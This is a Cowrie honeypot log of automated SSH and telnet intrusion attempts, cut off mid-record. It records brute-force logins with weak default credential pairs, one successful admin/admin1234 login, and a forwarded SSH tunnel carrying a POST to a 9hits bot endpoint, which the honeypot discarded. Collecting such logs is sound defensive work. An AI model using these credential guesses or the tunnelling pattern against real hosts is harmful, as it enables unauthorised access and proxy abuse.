{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:19.242967Z","src_ip":"23.175.50.51","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60766,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce495b5350b1","protocol":"ssh","message":"New connection: 91.92.40.36:60766 (10.17.0.5:22) [session: ce495b5350b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:19.653373Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:19.659434Z","src_ip":"45.153.34.195","session":"a0317c6fb394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":14978,"dst_ip":"10.17.0.5","dst_port":22,"session":"930b23f97ee4","protocol":"ssh","message":"New connection: 45.153.34.195:14978 (10.17.0.5:22) [session: 930b23f97ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:20.925614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:20.931916Z","src_ip":"45.153.34.195","session":"930b23f97ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:21.029119Z","src_ip":"45.153.34.195","session":"930b23f97ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"github","password":"github","message":"login attempt [github/github] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:21.717115Z","src_ip":"45.153.34.195","session":"930b23f97ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.55668330192566,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:21.832741Z","src_ip":"172.81.62.90","session":"ba957031f9e1","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:21.975181Z","src_ip":"91.92.40.36","session":"ce495b5350b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:21.978679Z","src_ip":"91.92.40.36","session":"ce495b5350b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:22.801387Z","src_ip":"45.153.34.195","session":"930b23f97ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38168,"dst_ip":"10.17.0.5","dst_port":22,"session":"779df948acce","protocol":"ssh","message":"New connection: 45.153.34.195:38168 (10.17.0.5:22) [session: 779df948acce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:23.934377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:23.941342Z","src_ip":"45.153.34.195","session":"779df948acce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:24.026438Z","src_ip":"45.153.34.195","session":"779df948acce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:24.286486Z","src_ip":"45.153.34.195","session":"779df948acce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:24.356605Z","src_ip":"91.92.40.36","session":"e71b260d1157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:25.370351Z","src_ip":"45.153.34.195","session":"779df948acce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38194,"dst_ip":"10.17.0.5","dst_port":22,"session":"db170705ed55","protocol":"ssh","message":"New connection: 45.153.34.195:38194 (10.17.0.5:22) [session: db170705ed55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:26.855008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:26.863261Z","src_ip":"45.153.34.195","session":"db170705ed55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:26.914985Z","src_ip":"91.92.40.36","session":"e71b260d1157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:26.947009Z","src_ip":"45.153.34.195","session":"db170705ed55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"abc","message":"login attempt [abc/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:27.260018Z","src_ip":"45.153.34.195","session":"db170705ed55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:28.343585Z","src_ip":"45.153.34.195","session":"db170705ed55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10914,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c2bbcbe4867","protocol":"ssh","message":"New connection: 91.92.40.36:10914 (10.17.0.5:22) [session: 1c2bbcbe4867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:29.719083Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38208,"dst_ip":"10.17.0.5","dst_port":22,"session":"bde2146d8b6f","protocol":"ssh","message":"New connection: 45.153.34.195:38208 (10.17.0.5:22) [session: bde2146d8b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:29.847959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:29.851840Z","src_ip":"45.153.34.195","session":"bde2146d8b6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:29.936610Z","src_ip":"45.153.34.195","session":"bde2146d8b6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"botuser","message":"login attempt [botuser/botuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:30.183859Z","src_ip":"45.153.34.195","session":"bde2146d8b6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:31.267164Z","src_ip":"45.153.34.195","session":"bde2146d8b6f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:31.651085Z","src_ip":"91.92.40.36","session":"1c2bbcbe4867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:31.655134Z","src_ip":"91.92.40.36","session":"1c2bbcbe4867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.32896065711975,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:32.254247Z","src_ip":"128.199.8.54","session":"2041fe444277","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37178,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dc51dce3291","protocol":"ssh","message":"New connection: 45.153.34.195:37178 (10.17.0.5:22) [session: 5dc51dce3291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:32.548867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:32.554119Z","src_ip":"45.153.34.195","session":"5dc51dce3291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:32.782139Z","src_ip":"45.153.34.195","session":"5dc51dce3291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234567","message":"login attempt [test/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:32.891243Z","src_ip":"91.92.40.36","session":"ce495b5350b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jboss","message":"login attempt [root/jboss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:33.224583Z","src_ip":"45.153.34.195","session":"5dc51dce3291","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:33.479021Z","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:35:33.558714Z","src_ip":"23.175.50.51","session":"756aa4020e44","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/9.1.2 Safari/602.4.8\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NC9ARVh4UFp4RnRDUlJINg%3D%3Dkv%2Bu39wTvMEoiPuZay4VKEYq2%2BFVSpAJvmYR3bHg6kqjb%2BDlp49LHJ9UD1t8Bb7nEKZ6Xd1xOp%2Fx5df0ImVT7pMkriRTJEjjmocyeeXvCPpt85T8dL6Iynp7UyHtTW3pJwIddG%2BgUmxtJ5TWWgtQ7T%2FPTzcf%2B9A6XKC1%2Bi2Y52%2BJw7PFAhbsSBVcdnYX6N4gewZO3AsurmvmDEc8FErfK9HU9huQs4Wf9OZXgjs6zN8XnQvNTGzYbiGrEPC2bWBjkAdAwbp52k%2BssebAOuzX44zOCgeXyuEFgto8advOzpWR7KFg48LpxHK5VMyO6rIDlMS3rBU3kCPyEKg0wvubTTlc8of0AXzdl8rDKhxE%2BgjEXgUgiqAhM4TUmzJA4G4DAbCQ%2FH85CSFYIRH2LnwsnGiMOB08%2BhSttxGhytX6pbmHK0J8B6yGbd%2F0yJpvSO6hDwu1vpN%2BRtQRwdXRMfcA69gVC%2FXP6BptpjE3AQcbHPCV4EZn93B%2BP%2BllDE%2B5CWilniMIj5qAOYNwVqhuMJ6%2FI9jqgISlmv97YlbwGJ74JWu8zZCB%2F6QKDt3XTZkD9aO5bKl51WIreJtl2ooDVabeyj3LY6b%2BAMSVNJqoM%2BjlnCcfdxBYnmY2TWQVzx1KCxrxuL10J0P8VS9ZvPdSAuhPNyHoT%2BwpcW8Z90U33Rp1El8Qrg9i2ceEAMEbiCPALhCLdtcQU4v%2FfBI87igS0PfdkIaea8Kb3wrmIjgxx%2FKPg5dg9OapweZq3ZvZvNxqHkG0Lqx0AVID3b6ZGu86PDF6F%2BGwoELSyFQBS6%2F4P%2BC0amq%2BuwJz4vgvQAGImDLVSmKdl1K%2FXGxdrkr6mgRGSCjVY6JDWM9jB1AMvJtTRh1nl25GopUMzBCl3jwNK%2FaFELUhwgNkPKLMJZaPtWghAhh2BNVM%2BCrK9K0soUJ94NsrT%2FP8kz4VThVSlFxw2zanzpkquPMbCvEGFs1Hl6ctj74xNblj63eGjfk7FhpQZcXPLmnEYBi4OSuP0KYfkqeq0pzMK1Q65R%2F%2FaSMJjNAj6zIePsLALWYQnX%2F6P6yv44xUTkfG2U4a33dWFFy5k6v8zqlk'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/9.1.2 Safari/602.4.8\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: 